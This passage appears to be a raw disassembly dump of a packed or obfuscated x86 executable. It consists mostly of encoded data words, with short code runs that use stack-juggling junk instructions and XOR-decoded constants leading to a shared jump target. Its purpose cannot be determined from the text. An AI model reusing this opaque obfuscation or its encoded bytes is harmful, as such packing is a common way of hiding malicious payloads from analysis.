7D10EC15h, 0EF721A9Fh dd 0F9E2EA0Bh, 0AA2307C1h, 68770EF0h, 466DA31Ch, 0A33669E4h dd 59AA2307h, 4316770Eh, 0F58DD1E5h, 7BCE8227h, 0D1791394h dd 770E5933h, 51347F5h, 996CBAFFh, 54F8h, 5E017B00h, 624BCF6Eh dd 5E33899Dh, 8E5636B7h, 770E7B13h, 0E1F71B19h, 996CDBDBh dd 194h, 492A2700h, 0B84528A0h, 25DF5933h, 0EF08C05h, 0D7D8BC77h dd 9603A3FCh, 506A262h, 0C7AFC2BEh, 41FFA626h, 33B8451Dh dd 8025C85Dh, 4C7507E6h, 9FF3491Ch, 0BC452AE4h, 0FB4412Ch dd 944CA073h, 0CCB9B32Dh, 84C18B2Ch, 782B4339h, 10F590C4h dd 74117B7Ch, 0FF0495F8h, 0BC5E2FE9h, 2BC85537h, 3483C686h dd 0BD42D5B8h, 0D8B0462Bh, 0E6CD770h, 0AC4E2577h, 0B5004507h dd 31EFBE2Eh, 64C47EEDh, 770E6CEBh, 52E8A51h, 996CC80Fh dd 60E8h, 452A0B00h, 0AF412CBCh, 1FDB420Ah, 4903A84Eh dd 4DC6621Ch, 0B3770EF0h, 20744824h, 0FA98896Eh, 723897F1h dd 8646F3BEh, 77339E65h, 73F46DBDh, 9D48770Eh, 19FE4327h dd 8115F890h, 9BCDF684h, 0B86963CEh, 4C405084h, 2B996CCFh dd 28h, 0BC452A54h, 0EB3412Ch, 0E62AE65Eh, 0A226CBACh dd 0A0492A31h, 0F0820028h, 9084770Eh, 5250544Ch, 10F996Dh dd 0A8000000h, 2DBF442Ah, 0CCF59A6Bh, 1E73C99Ch, 6D167677h dd 0BF600357h, 0F246D627h, 2ABF3533h, 9E29BF44h, 6DBDF5F3h dd 7511F663h, 946104BEh, 20687D6Fh, 710BD5A7h, 0CBEA4615h dd 0ED83621Ch, 0CFF481C4h, 0E1B41971h, 522588DCh, 0DA7D3BADh dd 0BEDD5AF4h, 735BD120h, 710B15D8h, 482EBF79h, 0C0BC29A3h dd 0FF96A8FCh, 7007EAFEh, 0DDB01D4Fh, 2113B0D8h, 2DD2A5FDh dd 777074BFh, 436F9369h, 88000001h, 4B6785F0h, 1208E1FFh dd 0C0885F75h, 77159A7Dh, 535424C9h, 5639AC39h, 0DFB6DB51h dd 4C238EDEh, 0C86221ABh, 39535825h, 0B8ECD0ACh, 565B38CDh dd 5D119936h, 0A1EF0A70h, 640B5EDAh, 0DEE60D43h, 999369E9h dd 75h, 4A2D3CDFh, 0AD1F0A56h, 86F05CD7h, 0BA8E4866h, 770EF021h dd 9AAEC89Fh, 770EF101h, 520CE87Fh, 0D14ADE98h, 2F770EF0h dd 0A3EC3CB8h, 99770EF0h, 656C7E21h, 0DF54948Dh, 0E2054CDh dd 0EE13E477h, 3DA8EBFEh, 75EE3656h, 68770E20h, 0EA940054h dd 30586132h, 0AD020455h, 7CAE7F63h, 871D991h, 74770E88h dd 0A216C9E1h, 27DA0FD6h, 92771B91h, 86h, 6785F021h, 3A69884Bh dd 6AB243FAh, 8E78D08Eh, 8C7511CBh, 4B228FD9h, 0BC5326AAh dd 84C740E8h, 0A635710Bh, 7969B1DBh, 0EE710B85h, 0D2D7A548h dd 6D512FBAh, 698E6139h, 2703BD7Bh, 710B84AEh, 5EE94712h dd 5AA4D33h, 0FFBB0643h, 5A96C2Bh, 7711C46Fh, 0AA4F2CC1h dd 0D3D4BBCEh, 0AEF232B9h, 0A0492EBFh, 20A84D2Dh, 1560CFA5h dd 904FDB97h, 0E074FFCDh, 0CBA83D75h, 33DBA626h, 208FDAB2h dd 4D2BD0ADh, 4701BA39h, 0EF06AE3h, 0A503D677h, 0E6896F1Ah dd 0EC3C7AC1h, 7509152Dh, 82345403h, 0CCE760C8h, 0F82B7104h dd 0E533B93Fh, 522EBD94h, 3157583Fh, 0A424C9ACh, 6BE08F9Ch dd 1B4FE547h, 450BAC43h, 0F0981DF0h, 4A64896Dh, 845C3D89h dd 328E92E3h, 0CF13115Ah, 89DFE0B7h, 0C3545124h, 0AC3BAE3Eh dd 68C07A3Ch, 177962EFh, 3F229E4Dh, 8, 0A0450346h, 0D44F25CEh dd 26A6472Ah, 5933B45Bh, 0CB9D26F4h, 7B6D9266h, 90F80196h dd 5476C0Dh, 0B9D3D4B8h, 2FB942D4h, 4008B142h, 42CF680Bh dd 4890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi push ebp mov ebp, 5A5E78BAh mov edx, 5C545C6Dh xor edx, ebp mov ebp, [esp] add esp, 4 push esp mov edi, [esp] add esp, 4 push edx xor dword ptr [esp], 4AA875BBh pop dword ptr [edi+8] push edx mov edx, 8 add edx, edi xor dword ptr [edx], 4AA875BBh pop edx mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5439D9 ; --------------------------------------------------------------------------- db 9Ah dd 1C2B3264h, 71D24058h, 0A28EDB8h, 0FFC50306h, 0F76810E0h dd 0C24E2700h, 1E4B054Dh, 70B9911Fh, 48216D0Eh, 62533345h dd 0D1E6144Ch, 0BE41B44Bh, 0D070A54Dh, 8C060E0Dh, 0D2CB685Eh dd 0EE89F876h, 191B3A67h, 0DD63C40Dh, 9B7D787Fh, 2C45E454h dd 0C2AFCA1Bh, 15B7E071h, 0AC8B5210h, 990CE36Dh, 898D8D0Fh dd 31060A2Ah, 30079BDh, 0C51AB806h, 8D89179Ch, 60331D1h dd 2D3D9509h, 85C70603h, 60301E1h, 6030h, 8E9h, 1BB87000h dd 0F4451808h, 0BD85C72Fh, 60321h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 2D0BC350h, 71578E3Ch, 82443E9Ah, 0D3B70F60h, 308D858Bh dd 0FF610603h, 322F9B5h, 21E7BF06h, 95FF7494h, 6032691h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 7EC35343h dd 6A4244h, 1FB995FFh, 0C08B0603h, 55AB18EBh, 5A4D421Ch dd 1E336F8Ah, 0DB770D70h, 0CFE12627h, 980036CDh, 4EBA8FFh dd 3ECC6B12h, 56AE9h, 0F7F89B00h, 4A6F0C91h, 0D4DDB306h dd 0A4492DB0h, 37BC5D20h, 7624D351h, 0E17418A1h, 15F8EC11h dd 9B6E6287h, 0C49DF3F4h, 0C6ED66C2h, 0A1537104h, 0A2432AC2h dd 0BC946104h, 0EF0F36Ch, 37824977h, 0D4B43055h, 4D03A849h dd 0B05A15F8h, 0A72008A2h, 15770E96h, 60DB3146h, 6AF7917Ch dd 1CF49A83h, 0ED5930Ch, 9762E977h, 430590F5h, 0DA941DFEh dd 0D58F0820h, 7EED770Eh, 7723EA82h, 0FB3EAAA4h, 0C3B9CE12h dd 0FC93ABFFh, 720095FBh, 0E4B61B49h, 50208DDFh, 0BE503DAFh dd 398429CDh, 872CC2AFh, 7BAF97C5h, 0E5252DBh, 4F1DA674h dd 9A3317D1h, 0E6770E43h, 8AC2E38Bh, 791D70DFh, 0FB711474h dd 0EEFEFF96h, 0E43C846h, 11967A77h, 0FD02EA77h, 81D5E9EBh dd 62B66A31h, 68E14903h, 0D4770E43h, 7AC4201h, 9FA40045h dd 996CA585h, 0F2AB4F1Eh, 0B309941Dh, 65A9h, 432ACA00h dd 87022AA2h, 85770EF0h, 4F554397h, 8996D52h, 1, 0E34701ABh dd 770EF06Ah, 0C0A503D6h, 1DF08E33h, 92FA767Bh, 3456E0Fh dd 0B7D1D6BEh, 54EE320Eh, 0CA8422C7h, 0EF0E57Eh, 308C5B77h dd 6D03E25Ch, 0F285E844h, 0E5E6335h, 0F027A088h, 0C695770Eh dd 3EF8EC7Bh, 0F02BA484h, 0CA91770Eh, 6C01F56Eh, 0E78A668Bh dd 12FFE912h, 0CFF08081h, 0F4856860h, 62309DCFh, 0AA860F59h dd 958FD466h, 43680941h, 8B14627h, 0A275D8ACh, 10E64B1Dh dd 8620E1EBh, 0A4B03BD5h, 0FE892ED3h, 0F338910h, 5FD7DDDBh dd 8390996Ch, 23000000h, 2CBC452Ah, 6C0AAF41h, 0A3F4F999h dd 2D607401h, 4028846Ch, 54375BD9h, 0B1DBE0B1h, 643558D4h dd 0B042235Fh, 76A1C1h, 6AF15DBAh, 93606762h, 40FE926Eh dd 3029A286h, 0C097770Eh, 4B700164h, 0D7D8BC01h, 0A54BF89Bh dd 16ACFB5Ch, 0ED53F29Ah, 0F4B5BFB9h, 3EB2996Ch, 0CD000000h dd 2C76452Ah, 999E7D1Dh, 0CA8227C9h, 0DA5309Fh, 5E5EF753h dd 37A2770Eh, 0AE4CD1B9h, 37EB4305h, 3DC6ABE3h, 492A34AFh dd 820028A0h, 84770EF0h, 50544C90h, 0F996D52h, 1, 0BF442AA8h dd 8AD402Dh, 0F5191B40h, 0C3B3C596h, 5978233Eh, 0DFD58F1h dd 0AA31A477h, 2CD5BBCEh, 0D770D892h, 25770DFDh, 19563AB6h dd 1236706Eh, 75110CE8h, 6E78356h, 9BF3496Eh, 0A5E5F36h dd 932FD0A7h, 87DC26C0h, 6E28BB9h, 6943DE66h, 1FF1710Bh dd 896FF29Ah, 79BB6860h, 3FF3E555h, 79578EBh, 1FFEAE2h dd 6064896Ch, 690DFA9Dh, 0FA410444h, 47680F92h, 40D9712Bh dd 0BC710B69h, 0D1BC41D1h, 0AC90335Bh, 0AE4F2678h, 0CAF3093Ah dd 24EC9369h, 0F000001h, 4B6785F0h, 1208E1FFh, 0C0885F75h dd 5D159A7Dh, 14C76FBAh, 0EB869F2Dh, 0F7EC781Bh, 0B8CCA837h dd 5BD42D5h, 626A8F60h, 2AFB94B4h, 9A41710Bh, 74D9B10Fh dd 0DF4C1CA1h, 96793165h, 0ACB07311h, 0F793698Bh, 6E7E7F16h dd 309FFD7Bh, 18000000h, 486686F0h, 0EF097E0h, 0B6D68577h dd 0C0CD5F00h, 0C0D869ACh, 9DCB4464h, 0A292770Eh, 1494FE7Eh dd 9D85CE5Ah, 6CFB770Eh, 0A5E578h, 0F0180000h, 0FF4B6785h dd 75121415h, 71225C0Bh, 7B1D60F4h, 0F8906C01h, 22C79D3Eh dd 0FDCC7A22h, 0FE50AEEh, 69C1937Ah, 710BA9F0h, 6F94614Ch dd 369D687Dh, 8728CF52h, 72731AEBh, 5E4E96F6h, 9C710BAAh dd 4B700DFEh, 7401ECFCh, 675F1D4Fh, 5FD98333h, 0AA0C85A5h dd 0E570710Bh, 84E72B0Fh, 0D1A1F0D3h, 63D967BEh, 0D8BE670Eh dd 670044D3h, 48E09E1Ch, 6F05ED23h, 0C99CDA81h, 81C48429h dd 17FE432Bh, 0B78DF696h, 0A286F163h, 28DB47D6h, 0BAF44345h dd 0FF4F496Eh, 0E688E774h, 3B37BCDDh, 773DDC50h, 0F0FFE4E8h dd 0FB94B485h, 41770EF0h, 0CCE1EB50h, 10FFB04Ch, 185DED85h dd 0F375089Ch, 0AF781139h, 11C47104h, 4E5BA9Bh, 0C7B16530h dd 36C841E9h, 0A1347104h, 9B1D4FDAh, 977B28CAh, 84137616h dd 462B81C4h, 0B6700EAFh, 436F992h, 8F082071h, 0ED710436h dd 34B0277Eh, 4F2ACD50h, 46518850h, 0F7BF2BC5h, 2A5E6B0Ch dd 3EC6866Dh, 68C2A4BBh, 34545939h, 0A721C6A9h, 4FCF13CFh dd 9ADC003Ch, 0B9EF2F3h, 0A4094364h, 0A243D7D0h, 8B1472Ah dd 0CDB6D6BDh, 83C4CA8Dh, 75FB94B4h, 9A413842h, 0D5DE92C5h dd 7F375B5Fh, 3848DD98h, 2DA29A29h, 0D8BF0246h, 53AB2404h dd 4A113842h, 53831C2Ch, 12F93842h, 0B253C587h, 4459D7DCh dd 3, 2A8003FFh, 5B26A647h, 0F45933B4h, 66CB9D26h, 967B6D92h dd 0D90F801h, 0B805476Ch, 0D4B9D3D4h, 422FB942h, 0B4008B1h dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 6768240Ch dd 8900001Bh, 9368243Ch, 89000006h, 0BA52240Ch, 7E912B6Eh dd 9B561FBFh, 8BD72984h, 0C4832414h, 0C8B5404h, 4C48124h dd 53000000h, 20A0BE56h, 0F681499Ch, 499C20A8h, 15EF389h dd 5B3B89CBh, 592434FFh, 4C481h, 3C8B0000h, 0E7895724h dd 4C781h, 0C7830000h, 243C8704h, 4D4BE95Ch, 0B8CCFFF9h dd 60A2FA0h, 0E0FFC503h, 61CCC918h, 580744C5h, 7721CEA6h dd 596DAEC5h, 3208CCA4h, 72994BEEh, 2E7F1152h, 69D6DE31h dd 30B10B27h, 4D07622Ch, 23CC8FB2h, 18FFEF1h, 59C33559h dd 0C94EF4Bh, 5D8394AEh, 6DC3B330h, 5A671BD2h, 36C5EE81h dd 35FCBAA6h, 63FEF299h, 54D89FFBh, 0BE7F04EBh, 0C1E941ACh dd 0A9000005h, 0D2A725CAh, 41D4B841h, 0F3460AAFh, 63F69A1Bh dd 8D67658Eh, 4E730452h, 0C2E3B71Ah, 50593B8Eh, 21C6A93Ch dd 0B49412A3h, 7104C11Bh, 1FD9DF61h, 4C0920Bh, 0FD7BEE71h dd 0E3470106h, 770EF06Ah, 0C0A503D6h, 2DEE882Dh, 2CCCFAADh dd 795895E9h, 52835E63h, 2DD6A72Ah, 0C5AA3757h, 32C5A83Ch dd 885DDB8Dh, 65C3E4h, 5F2E486Dh, 8429CDBEh, 523A81C4h dd 4CD1B937h, 0DB420AAFh, 7EC97C1Fh, 20717A18h, 2884972Dh dd 0EBA5C014h, 0E60C65Fh, 0D1AF3A77h, 0B0D4D9BCh, 0C1524F2Dh dd 0AE355038h, 3CC5573Ah, 8C31C1ACh, 499D97DCh, 0A5E6331h dd 0BD2FD0A7h, 0E60F795h, 41660977h, 0D4D5BA07h, 0B92CBC41h dd 3DF3BAD2h, 39BE51E9h, 0AF3AAFh, 9649B566h, 0C00C9958h dd 68C4E98Dh, 80650054h, 1EB5CAEFh, 35F96B2Fh, 374D76F2h dd 30996C63h, 61h, 0A2432A43h, 0F087022Ah, 9785770Eh dd 524F5543h, 108996Dh, 0AB000000h, 6A0492Ah, 7D6F9067h dd 23FC4EA2h, 8C1BD3D0h, 28F55830h, 9064C983h, 0FC907D6Fh dd 3456E03h, 2791FB46h, 0E228A03h, 6C63F677h, 7D66668Bh dd 8A31347h, 0CDAEE034h, 3ADDA024h, 8469D7B5h, 0F49BCEF3h dd 70CC99F3h, 6F452AF3h, 0F0FC95B5h, 9540770Eh, 0EF11AB3h dd 64F36677h, 3FD3B264h, 3DBB2EBEh, 10F5CBA8h, 0B62F7982h dd 0A770EF0h, 0B98F05Fh, 0F5FA9273h, 0F43CB3A4h, 8F65EF46h dd 4A2F67ABh, 0B75E23A1h, 0C3852ACEh, 0B80BF186h, 5E951766h dd 651F99F3h, 0E684CC5h, 4F25B077h, 3DAF543Ah, 0AE3EC350h dd 0C3852EC3h, 0E88DC40h, 0F695B967h, 0FC788117h, 6CC3BDB7h dd 0BEBA99h, 5F000000h, 5CECF594h, 770EEAC3h, 0BA0D5239h dd 0FC77CDB6h, 2CBC452Ah, 4CC0AF41h, 0A912DCBh, 941D4FDAh dd 0FB3D31E2h, 0DF76BC54h, 8AC2E788h, 95D61DFh, 0BE3A071h dd 0A2781139h, 11C4770Eh, 3887C28Ah, 791BEA54h, 78C7E888h dd 0FC9CBF10h, 0E04BCFFDh, 25CA9F15h, 8D61CC9Ch, 9A16068h dd 84A39264h, 1442ED8Eh, 23CB9E65h, 219FCA82h, 0E5EFC91Dh dd 82996D3Ch, 5Bh, 0E347013Dh, 770EF06Ah, 547E03D6h, 0C56CB565h dd 831479F7h, 0F1836E7Eh, 0F42880C8h, 0E009EEA0h, 0D80D15C6h dd 67FE449Ch, 4F66FF4Bh, 0FDA770Eh, 0A963DDB1h, 0E500881h dd 8D2B7477h, 1F09F409h, 0F46FC550h, 28A0492Ah, 0EF08200h dd 4C908477h, 6D525054h, 10F99h, 1A80000h, 0F06AE347h dd 3D6770Eh, 562EC0A5h, 8AC2E3B7h, 0F054CDDFh, 17E4770Eh dd 3CDCB392h, 7412CBBh, 0BAD2D3BAh, 97AFF331h, 486D0001h dd 0EAFE4500h, 7A34B2DDh, 11FFA4AEh, 2DA7D75h, 97B06F31h dd 5A9B71F1h, 0BDE5FA05h, 0A50A91Ch, 0C7BD9A0Ah, 8C117BEEh dd 1680C4E9h, 97971A45h, 0D9FE10D5h, 4AF07D91h, 0E68B61CFh dd 56FEEE0Fh, 710B3ABBh, 117CA05Ch, 0CFB2E24Eh, 0BF35F8FEh dd 4A2432Ah, 916F9461h, 608568FDh, 38DFAE68h, 0C15439B7h dd 11E3823Ch, 0AF7C0CE8h, 0A3422175h, 2BBE2ECFh, 9E22BB8Fh dd 0CB9E710Bh, 7075186Dh, 0FFCDD71Ch, 37D69369h, 4D3A5F60h dd 235236BEh, 4B1D7FF5h, 9E000001h, 4B6785F0h, 1208E1FFh dd 0C0885F75h, 138C9C56h, 0E710BC9h, 0BC8A13Ah, 49481F71h dd 0AC432682h, 38DB450Bh, 89EE537Dh, 2144205Eh, 523FA94Eh dd 0CF523ABBh, 0A7264E2Dh, 0DDD09E83h, 0E48B1676h, 0E2C289C3h dd 0CD771CBEh, 892EC199h, 61428DBh, 4DD3936Ah, 6C000000h dd 486686F0h, 0BC2CD1A5h, 35155329h, 770EF0CCh, 0CA8D25B0h dd 0EF15CDACh, 5434B0EBh, 0E8D138Ch, 0A6EACA77h, 0C7544C36h dd 9A3FAA22h, 0C7878B5Ah, 6901EC04h, 0DF878C1h, 3971E477h dd 403CC154h, 0AC292Ch, 0FC910000h, 991A961Bh, 4B6785F0h dd 0DA73D791h, 26770EF0h, 0BA53F7B3h, 6770EF0h, 0BF5D553h dd 71751214h, 0CBCC6639h, 1C98EB5Dh, 0B6D930Ch, 9762E971h dd 988568F5h, 0B5D07F6h, 0B3FB78CCh, 0A60B5924h, 0D6902ECFh dd 0B0CD972h, 34B02771h, 0D9C8C54h, 6DCB710Bh, 0CFE97B3h dd 5D42710Bh, 1476CB0Bh, 54D0BF1Bh, 937A3C60h, 46317E12h dd 9B7F0EA8h, 0F0E861C9h, 8154710Bh, 0B937523Ah, 20B82BFFh dd 76176F06h, 184D1FA4h, 98D6859Ch, 248025F5h, 9116F944h dd 6CB08CF7h, 4B6785F0h, 0FFF06CFFh, 4A22C374h, 63F6CFA5h dd 85F0766Dh, 6CFF4B67h, 0A4750920h, 42F53AFBh, 48A6DE6h dd 7304D371h, 5A213E9Ah, 27C8AF32h, 0B439DCA1h, 6FE840FAh dd 0CD7104E7h, 22CAA21Eh, 2DA36067h, 1F577BB9h, 8C117778h dd 3984C4E9h, 0B3385055h, 82152D71h, 0CDA0457Dh, 4F25A028h dd 3EBF563Bh, 0AB3AEh, 3C20000h, 28CDA045h, 0D44F25A0h dd 26A6472Ah, 5933B45Bh, 0CB9D26F4h, 7B6D9266h, 90F80196h dd 5476C0Dh, 0B9D3D4B8h, 2FB942D4h, 4008B142h, 0E789570Bh dd 4C781h, 0EF830000h, 243C8704h, 241C895Ch, 378C68h, 24148900h dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 8368241Ch dd 8B060A30h, 0C4812414h, 4, 241C8B54h, 6804C483h, 3A19h dd 0B8240489h, 8, 1089D801h, 241C8B58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5439D9 ; --------------------------------------------------------------------------- db 30h dd 0A35BDB8h, 0FFC50306h, 0D436F8E0h, 0A102230Ch, 0FCAD6F1Ah dd 69143264h, 763BB45Dh, 221ECB74h, 95F24871h, 7ED2C301h dd 151BB978h, 0B2468243h, 0F9106F49h, 2D5D7B5Bh, 28D01A59h dd 4C96D157h, 38313D32h, 0E9D00000h, 0CBA09946h, 3E98D09h dd 0BA77B764h, 203DC34Eh, 1B7CDE51h, 611E0D7Ah, 0C4C5850Ah dd 2518B025h, 0FE5C1519h, 0AA326A4Eh, 29FBCC19h, 0BCB8A530h dd 0A404EB76h, 0E919D1E2h, 525h, 0FAEE0FE2h, 6F7D8617h dd 99CFF49Ah, 95F6034h, 0BA2ED3A4h, 0B8590DC8h, 28C85D33h dd 9E7CC187h, 0BE27715h, 0DBDFE6EAh, 4BAD64Fh, 0D99A2A71h dd 2AA2432Ah, 2DE7AB6Ch, 7FAE348Eh, 0E60BEC81h, 77781FE2h dd 0C0E58815h, 0F4540E88h, 770E8B5Bh, 2BBE3AA1h, 7E27A14Ah dd 0B12AFEB8h, 0F770E8Bh, 0B4D8DC58h, 5E6334D9h, 88DD5B0Eh dd 0AB5438E5h, 3DA820C9h, 3085CB56h, 82219362h, 0E01CC980h dd 0EA885D15h, 563A87C1h, 0C7523751h, 0E2B00569h, 4E228FD9h dd 2B43FA9h, 88648D63h, 4C2E60B4h, 0B95C21A7h, 0E8C5434h dd 18770EE1h, 0C295F024h, 8AB34C3Eh, 22DC1BC1h, 9C40DB05h dd 5F6B6031h, 0C567A68Ch, 3940446Fh, 7A3F996Dh, 0B8000000h dd 2D505E01h, 0F3B56831h, 787D1075h, 91F5A610h, 3113F027h dd 0A14A2BBEh, 0E6C6A227h, 770E046Bh, 492F73A1h, 996C6633h dd 0F992B670h, 20770E10h, 0E108F08h, 277EED77h, 62634B0h dd 94000000h, 1D9B20F1h, 0A0492AA6h, 94B46E28h, 770EF0FBh dd 698E6241h, 0B2432682h, 0F3AE7109h, 7DB1B072h, 3EE13E0h dd 9478C5A5h, 11FC05EBh, 2E72CE77h, 6E628714h, 9DF3F49Bh dd 0BC452AE6h, 0FB4412Ch, 0F891B973h, 44770EF0h, 0D0731B91h dd 9166386Ch, 0FE916468h, 4429EFF9h, 0D7730FB0h, 770EF03Eh dd 3459D782h, 9E0F5962h, 727A7EA2h, 0D996D4Ch, 7Eh, 8E6C01AEh dd 8A666365h, 0D1E912E7h, 18A17617h, 9A331570h, 0E6770EF0h dd 7AC1EA8Bh, 6D03EEFEh, 4A2CD9BCh, 0D7A227A1h, 0DABD0048h dd 0F0A92206h, 4017770Eh, 690E93F5h, 6A4A0840h, 5FD59426h dd 159E730Bh, 0E40DE277h, 0C15332E4h, 4529BC38h, 0BB7928A0h dd 4C8B8197h, 3B64996Dh, 97000000h, 6A8F6C01h, 0E4896762h dd 13FEEE13h, 98107881h, 997E3064h, 0EB5B86DAh, 6AF1EDFAh dd 492A7D66h, 820028A0h, 84770EF0h, 73741BEAh, 9B9DC1F5h dd 996D5281h, 17Eh, 442AF900h, 9A6B2DBFh, 1376F2F3h, 9C3F7B7Ch dd 0C6A8B639h, 993EAB3Dh, 3AB6A415h, 0C70B2952h, 8CC0E98Fh dd 5C1A98E3h, 0C740E8A2h, 35770E91h, 0A85123A6h, 0FFCFA520h dd 7511A0D5h, 61CC9C4Bh, 967B698Eh, 28EEFEFFh, 0A241DA6Eh dd 28BF710Bh, 0A2E17C4Ch, 0CA06710Bh, 7C29CC86h, 0EC8A119Ah dd 0C5A38E2Bh, 0F9EDB237h, 5D620ABDh, 75F35E0Bh, 0C4E98C11h dd 51563984h, 2A77419h, 0AB481F4Ah, 41C2AA06h, 20F78FD3h dd 223AC99Fh, 0DD9369DCh, 144h, 0ACCDF89Bh, 0E4EF4DDEh dd 85F08B08h, 290148ADh, 65F0F677h, 1FDFFD4Dh, 8E5D7511h dd 1B9C73DEh, 100DE075h, 0B56FB17Ch, 25CA8202h, 0E4B7F35Eh dd 132D5BC4h, 63315402h, 278AE25Eh, 0B46D6550h, 0C7C764BCh dd 81B31078h, 4D72055Dh, 0FD0D41Fh, 688F936Ah, 0ED000000h dd 0D9D5A32Ah, 0B42D871h, 0E0B12471h, 3F98BF2h, 6686F080h dd 0F097E048h, 2E85770Eh, 0A025A74Ch, 0F26BB3D5h, 0ED770EF0h dd 6394E8ABh, 63FBDF5h, 0D24296AAh, 9F6E08A8h, 0A97F1FAh dd 5C094368h, 0F891B9F1h, 44770E07h, 0CD5D1B91h, 770E0784h dd 872CCE9Fh, 0D2480C5h, 9F8C3694h, 4CDB84B0h, 86C518h dd 1780000h, 8967886Ch, 1D55533Eh, 881A963h, 74770EF1h dd 0F02EA7E1h, 0C792770Eh, 311B2F69h, 2F751214h, 5D0FB040h dd 462BBD08h, 0F75A0EAFh, 25CD9F20h, 710BCC35h, 102A7EB2h dd 0AA14787Dh, 0D622ABE9h, 916F97C4h, 255D5B26h, 59FD505h dd 1F564B6Fh, 0E2886CB3h, 352DCCE9h, 67F29469h, 8966FF4Bh dd 0FDA7705h, 0B24528A0h, 1C105B0Dh, 83216CC8h, 0BC1343E7h dd 0DE8D74FFh, 0F6520C8Ah, 710B9F5Dh, 3BB834A3h, 4B6785F0h dd 922AFFFh, 0BCFA6175h, 0B5584529h, 0A60D5830h, 8C1EA326h dd 0CCC6EDB3h, 967B13E9h, 7EAFEFFh, 0F51D4F70h, 85AFFC0Eh dd 0B8F2261Ah, 29BCD0D5h, 4F09A146h, 3D0F62FBh, 0AD0BDE5Dh dd 4EB85BDDh, 0D7C2DF40h, 3D73BEA3h, 8A22329Ch, 3D1725BEh dd 61CC9B5Dh, 1768E149h, 1D45D3Dh, 892EC6ABh, 28E294DFh dd 3D178700h, 0FD9EF55Dh, 6AF194F4h, 2C66AA8Eh, 3AD37749h dd 865D3D17h, 0BD0044D3h, 0C1BA1FDAh, 0CD2BDE1Bh, 3EB6666h dd 0A000000h, 472A8003h, 0B45B26A6h, 26F45933h, 9266CB9Dh dd 1967B6Dh, 6C0D90F8h, 0D4B80547h, 42D4B9D3h, 0B1422FB9h dd 520B4008h, 0C281E289h, 4, 4BF57h, 0FA290000h, 2414875Fh dd 165A685Ch, 1C890000h, 30926824h, 14890000h, 43BD5524h dd 5666DA17h, 0D12DE4BEh, 7BEFBB51h, 0F329BEB5h, 5DEB295Eh dd 8904EC83h, 4832424h, 535A0424h, 87242C81h, 8F33B338h dd 42810842h, 0B3388708h, 2434FF33h, 4C4835Ah, 5B2434FFh dd 4C481h, 7EE90000h, 0D1FFF941h, 594367DFh, 3B77B8A5h dd 0C503060Ah, 0ABD8E0FFh, 74B509F3h, 784058A7h, 30C9074Fh dd 4BBF4BDFh, 0ADBB1CA3h, 59D368F4h, 36E47D30h, 0E2873143h dd 0EC82600Fh, 423D7893h, 63B321D0h, 483A3FE6h, 0CA6D77EBh dd 0AECE26DAh, 8D6E6D97h, 65A61A3Fh, 137854BFh, 47E65B61h dd 12397149h, 9ADE2523h, 0B8AB1D33h, 0B4EE29D8h, 0ACEF7655h dd 0E2443E59h, 68ED5F38h, 0F9196C88h, 22C65D06h, 0F63D1BEEh dd 0FF2F06D3h, 3157292Ch, 8D8D6F81h, 60A3D14h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5BC35646h, 54AF8D81h dd 8D89720Bh, 60331D1h, 85C7F88Bh, 60301E1h, 73E4h, 5E9h dd 9AA37F00h, 8B604718h, 310A98Dh, 30C68106h, 612C9326h dd 21BD85C7h, 603h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0F3A82EC3h, 799249ACh dd 8589E2FBh, 6031FFDh, 235DB5FFh, 0BF0F0603h, 9195FFD7h dd 81060326h, 643168D3h, 0FF006A4Eh, 31FB995h, 0EBC08B06h dd 0DA9DE43Fh, 80222DA9h, 6BAC7527h, 0C3F5F52Fh, 0E5F04414h dd 0EF71325Ah, 0A08B8321h, 83510AE5h, 8616FCFBh, 64A044C4h dd 64D430C0h, 0B401F2C4h, 6D652C10h, 0D489FFBFh, 684618Fh dd 0BBE8DE64h, 520C04EBh, 6E97CC1h, 49000005h, 0F24705AAh dd 61F49821h, 93666A8Fh, 396FAFBh, 0AD07456Eh, 0AE532472h dd 22C3573Ah, 0B039DBAEh, 1A649DCh, 0D4743243h, 7104B33Bh dd 2A7CFF81h, 472AA243h, 0F65B09B2h, 6C95661Fh, 0E482697Ch dd 0B517DC33h, 0E783D638h, 0E43CA43h, 0C5A33677h, 0B035D8A5h dd 3A875D8h, 386CC049h, 7A6E8F66h, 0C2FC0597h, 4B95E811h dd 0BB7106A7h, 6059D6B6h, 0EBE1402Ah, 79CCA01Ch, 0EB76169Bh dd 0FDE6E607h, 39DB93C7h, 0A649DCB0h, 21BF4701h, 0EB770E54h dd 0EDF7E135h, 0EA996CB5h, 64h, 0A2432A15h, 0F087022Ah dd 0DBBD770Eh, 4A2BB6D6h, 0F03DD672h, 0D483770Eh, 0DDB21F49h dd 0A7D1B4D4h, 0C897276Bh, 0C100054h, 0CB996D52h, 1, 8A6C0174h dd 6A8B6261h, 0E4896762h, 3CFA9217h, 0A721C6A9h dd 52234622h, 0BA523FA9h, 56EA5335h, 81A96302h, 770EF108h dd 660BE174h, 95786C95h, 0F4EFFD02h, 0DB6F452Ah, 770EF042h dd 0C5C2BBEh, 932FD4A1h, 0F4941DF2h, 0D0731B91h, 2B534516h dd 616B8C6Ch, 4F05364h, 75999D1Bh, 31575C3Dh, 160FE687h dd 786D7F84h, 9B7217EDh, 9EF721Ah, 0FB39E8E0h, 54CBC1D7h dd 48A4996Ch, 0D7000000h, 6AE34701h, 0D6770EF0h, 2FC0A503h dd 997FC28Ah, 0F0EE67C3h, 8752770Eh, 4BE95038h, 1AA4F07h dd 